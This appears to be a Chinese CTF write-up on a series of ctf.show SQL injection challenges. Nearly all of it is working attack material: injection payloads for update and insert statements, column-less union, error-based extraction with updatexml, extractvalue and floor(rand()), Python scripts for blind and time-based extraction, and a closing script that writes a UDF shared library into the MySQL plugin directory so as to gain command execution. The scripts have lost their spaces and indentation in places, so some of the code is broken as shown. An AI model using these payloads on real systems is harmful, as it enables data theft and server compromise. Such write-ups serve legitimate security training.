# 查库 password=1',username=database()#&username=1 # 查表 banlist,ctfshow_user,flaga password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1 # 查列 id,flagas,info password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1 # 查字段 password=1',username=(select flagas from ctfshow_web.flaga) where 1=1#&username=1
也可以利用盲注, 我就直接上大佬脚本吧
# By gkjzjh146 import requests url = 'http://6dba60c7-91d2-4d8d-a0c8-2aeb3115cf71.challenge.ctf.show/api/' str = '' x = 1 for i inrange(60): min,max = 32, 128 whileTrue: j = min + (max-min)//2 if(min == j): str += chr(j) print(str) break # 爆表名 # payload = { # 'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))<{},true,false)#".format(i, j), # 'password': f"{x}" # } # 爆列 # payload = { # 'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flaga'),{},1))<{},true,false)#".format(i, j), # 'password': f"{x}" # } # # 爆值 payload = { 'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(flagas) from flaga),{0},1))<{1},true,false)#".format(i, j), 'password': f"{x}" } # payload = {'username':f"if(load_file('/var/www/html/api/index.php')regexp('{flag+j}'),0,1)", # 'password':0} r = requests.post(url=url,data=payload).text if(r'\u66f4\u65b0\u6210\u529f'in r): max = j x += 1 else: min = j x += 1
# 查表 banlist,ctfshow_user,flag23a1 password=1\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
下面就是无列注入的内容:
前面做题可以知道表结构为: id, username, password, 所以构造
select 1,2,3 union select * from flag23a1
数字与users中的列相应, 现在可以利用数字对列进行查询了:
select `1` from (select 1,2,3 union select * from flag23a1)a; # 就相当于select pass from (select 1,2,3 union select * from users)a;
所以最后payload, (似乎只有反引号不会回显, 只能加上group_concat)
password=1\&username=,username=(select group_concat(`2`) from(select 1,2,3 union select * from flag23a1)a)#
//插入数据 $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');"; // 无过滤
你说的对但是有人因为开了过滤广告的插件导致插入界面弹不出来, 找了半天在哪里能提交包
先测试一下, 注意闭合value的括号:
username=123',(select database()))#&password=123
然后刷新界面可以看到多出了一条密码为ctfshow_web的条目, 语句拼接最终变为:
insert into ctfshow_user(username,pass) value('123',(select database()))#','123');
没有过滤直接如法炮制即可:
# 查表： username=123',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=123 # 查列： username=123',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=123 # 查数据： username=123',(select group_concat(flagass23s3) from flag))#&password=123
import requests url='http://1a19dc60-01fb-40fc-bede-45b9a595b069.challenge.ctf.show/api/insert.php' str='ab' for i instr: for x instr: for z instr: for u instr: for j instr: data={ 'username':f"123',(select(group_concat(flag))from(flag{i+x+z+u+j})))#", 'password':123 } print(data) res=requests.post(url=url,data=data) print(res.text)
flag = '' for i inrange(1, 100): min = 32 max = 128 while1: j = min + (max - min) // 2 ifmin == j: flag += chr(j) print(flag) break
# payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)" # payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))<{j},sleep(0.02),1)" payload = f"if(ascii(substr((select group_concat(flag) from flag),{i},1))<{j},sleep(0.02),1)"
data = { 'id': payload } try: r = requests.post(url=url, data=data, timeout=0.38) min = j except: max = j
//备份表 $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
注意因为显示不全需要利用mid函数截取flag
# 查表 ?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d),1)--+ # 查列 ?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),1,32),0x3d),1)--+ # 查flag ?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),1,32),0x3d),1)--+ ?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),32,32),0x3d),1)--+
# 查表 ctfshow_flagsa ?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d))--+ # 查列 flag1 ?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),1,32),0x3d))--+ # 查flag ?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),1,32),0x3d))--+ ?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),32,32),0x3d))--+
# 查表 ?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23 # 查列 ?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23 # 查数据 ?id=-1' union select 1,count(*),concat_ws('-',(select concat(flag2) from ctfshow_flags limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
# 查表 ?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,round(rand(0)*2))a from information_schema.columns group by a%23 # 查列 ?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1),0x3a,0x3a,round(rand(0)*2))a from information_schema.columns group by a%23 # 查数据 ?id=-1' union select 1,count(*),concat_ws('-',(select concat(`flag?`) from ctfshow_flagsa limit 0,1),round(rand(0)*2)) as a from information_schema.tables group by a--+
import requests url="http://e2faf183-01d8-4b41-acbf-ad08aafe7599.challenge.ctf.show/api/" udf="" # 用的网站提供的lib_mysqludf_sys_64.so udfs=[] for i inrange(0,len(udf),5000): udfs.append(udf[i:i+5000]) #写入多个文件中 for i in udfs: url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23" requests.get(url1)
#合并文件生成so文件 url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23" requests.get(url2)
